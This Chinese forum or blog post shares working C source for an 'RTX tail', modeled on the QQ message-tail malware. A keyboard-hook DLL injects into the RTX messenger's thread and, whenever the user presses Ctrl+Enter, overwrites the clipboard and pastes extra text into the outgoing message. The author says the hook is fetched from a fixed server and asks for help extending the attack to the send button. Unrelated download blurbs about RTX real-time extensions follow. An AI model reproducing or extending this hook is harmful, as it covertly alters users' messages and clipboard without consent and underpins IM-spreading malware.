仿照网上QQ尾巴的例子实现一个简单的RTX尾巴,运行后会从固定的服务器下载键盘钩子(由于不会获取发送按钮的句柄,目前只实现了键盘钩子),然后安装钩子。在用户使用ctrl+enter发送消息时,会在消息的尾部添加如下一段话:[**********The brown quick fox jumps over the lazy dog.**********]。
ps:希望高手能教教我如何获得发送按钮的句柄,在下感激不尽!
rtxkeyhook.h
#ifdef KEYHOOKLIB_EXPORTS
#define KEYHOOKLIB_API __declspec(dllexport)
#else
#define KEYHOOKLIB_API __declspec(dllimport)
#endif
BOOL KEYHOOKLIB_API WINAPI SetHook(HANDLE);
BOOL KEYHOOKLIB_API WINAPI DropHook();
void PasteText(HANDLE);
int GetTextLen(HANDLE);
rtxkeyhook.c
#include <windows.h>
#include <stdio.h>
#define KEYHOOKLIB_EXPORTS
#include "rtxkeyhook.h"
#pragma data_seg("HOOKShared")
HHOOK g_hKey = NULL;
HANDLE g_hRich = NULL;
#pragma data_seg()
#pragma comment(linker, "/section:HOOKShared,RWS")
LRESULT CALLBACK KeyHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if(wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)
{
if(g_hRich != NULL && GetTextLen(g_hRich) > 0)
{
PasteText(g_hRich);
}
}
return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
int GetTextLen(HANDLE hRich)
{
char szText[1000];
SendMessage(hRich, WM_GETTEXT, sizeof(szText), (LPARAM)szText);
return strlen(szText);
}
void PasteText(HANDLE hRich)
{
HGLOBAL hMem;
char *pStr;
char gStr[100] = "\n**********The brown quick fox jumps over the lazy dog.**********\n";
hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(gStr));
pStr = GlobalLock(hMem);
lstrcpy(pStr, gStr);
GlobalUnlock(hMem);
OpenClipboard(NULL);
EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
SendMessage(hRich, WM_PASTE, 0, 0);
}
HMODULE WINAPI ModuleFromAddress(PVOID pv)
{
MEMORY_BASIC_INFORMATION mbi;
if(VirtualQuery(pv, &mbi, sizeof(mbi)) != 0)
{
return (HMODULE)mbi.AllocationBase;
}
else
{
return NULL;
}
}
BOOL WINAPI SetHook(HANDLE hDlg)
{
DWORD dwThreadId = GetWindowThreadProcessId(hDlg, NULL);
g_hRich = FindWindowEx(hDlg, NULL, "RichEdit20W", NULL);
if(g_hRich == NULL)
{
printf("can not find edit control !\n");
return FALSE;
}
g_hKey = SetWindowsHookEx(WH_KEYBOARD,
KeyHookProc,
ModuleFromAddress(KeyHookProc),
dwThreadId);
if(g_hKey != NULL)
{
printf("hook ready !\n");
return TRUE;
}
return FALSE;
}
BOOL WINAPI DropHook()
{
return UnhookWindowsHookEx(g_hKey);
}
分享到:
相关推荐
综上所述,这个压缩包“windows-RTX.rar”提供的内容对于理解和实践RTX系统与Windows之间的IPC,尤其是内存共享,有着重要的价值。开发者可以通过学习这些代码,了解如何在实时操作系统和传统桌面操作系统之间构建...
"安晓风第一学期末RTX接收发送"可能是某个教学或实践项目中,用户创建的一个示例或测试文件,用于演示如何在Windows环境下使用RTX进行数据的接收和发送操作。这个文件可能包含了源代码、配置文件或实验报告,帮助...
在Windows操作系统环境中,为了实现高实时性的串口通信,开发者常常会借助于Windows实时扩展(Real-Time Extension,简称RTX)。RTX是一种针对Windows NT/2000/XP等系统设计的实时扩展库,它提供了低延迟、高优先级...
3. **实时性能**:RTX优化了系统调用和中断处理,确保了在Windows上实现硬实时性能,这对于需要严格时间约束的系统至关重要。 4. **同步与通信机制**:RTX提供了信号量、邮箱、消息队列等同步和通信机制,使得不同...
RTX 3.4 SDK是Real-Time eXtensions (RTX)的软件开发工具包,主要用于在Windows操作系统上开发实时应用程序。RTX是Microsoft Windows操作系统的一个扩展,它提供了额外的功能,使开发者能够构建高性能、高可靠性的...
首先,RTX64 3.6 引入了一个64位的实时子系统(RTSS),它可以在64位Windows上运行,提供精确的中断请求(IRQs)、输入/输出(I/O)和内存控制。这个子系统允许实时线程在Windows崩溃时保持正常运行,确保系统的稳定...
Windows RTX 8.1SP2 应用过程 本文将详细介绍 Windows RTX 8.1SP2 应用过程,包括安装 Visual Studio 2008、IntervalZero RTX81SP2_SDK、安装 RTX、设置环境变量、编译批处理文件、运行编译好的可执行文件等步骤。 ...
RTX (Real-Time eXtensions) 是Keil公司开发的一种实时操作系统(RTOS),它为Windows平台提供了一个高效能的实时扩展环境,使得开发者可以在Windows上构建复杂的嵌入式系统。 在Windows RTX中,开发者可以利用...
此软件为实时Windows操作系统扩展,安装此软件后Windows操作系统...此为测试版,教学、学习和了解Windows RTX的性能没有限制,过期后修改系统时间又可运行。可“不受限制”光明正大使用。(不是盗版所以不受版权限制)
Windows RTX下PCI设备的读写寄存器与中断
RTX实时平台实现RS232通讯代码 关于windows开发 RTX下试试通讯的代码
RTX提供了一个实时子系统(Real-Time Subsystem, RTSS),该子系统可以在Windows上运行,并支持对称多处理(Symmetric Multi-Processing, SMP)技术,在多处理器系统中发挥更高效能。 RTX的主要功能包括: 1. **...
本话题涉及的是如何利用C#进行RTX(Real Time eXchange,即时通讯系统)的二次开发,实现一个右下角弹窗提醒功能。这个功能在许多桌面应用中常见,用于向用户发送实时消息或通知。 RTX是腾讯公司推出的一款企业级...
在Windows RTX的场景下,共享内存可能用于以下用途: 1. **消息传递**:RTX进程可以将接收到的消息写入共享内存,Windows应用程序可以通过读取这部分内存获取消息,实现快速的通知和通信。 2. **状态同步**:用户...
在软PLC运行系统的设计中,本文通过多个实验和测试,证明了基于Windows+RTX平台的软PLC技术能够有效实现数控系统开关控制功能。此外,软PLC技术的应用大大提升了数控系统的开放性及兼容性,为数控系统的进一步发展和...
在使用RTX51FULL时,用户需要将其库文件复制到Keil安装目录下的 `\Keil\C51\LIB` 文件夹,这样在项目配置中就可以选择并使用这个RTOS内核。 在实际应用中,开发者首先需要在μVision IDE中创建一个新的C51项目,...
本文将详细介绍如何在IntervalZero的RTX实时操作系统环境下实现RS232通讯,包括必要的硬件配置、软件开发环境搭建以及具体编程步骤。 #### 二、RTX实时平台简介 RTX(Real-Time eXtensions)是由IntervalZero公司...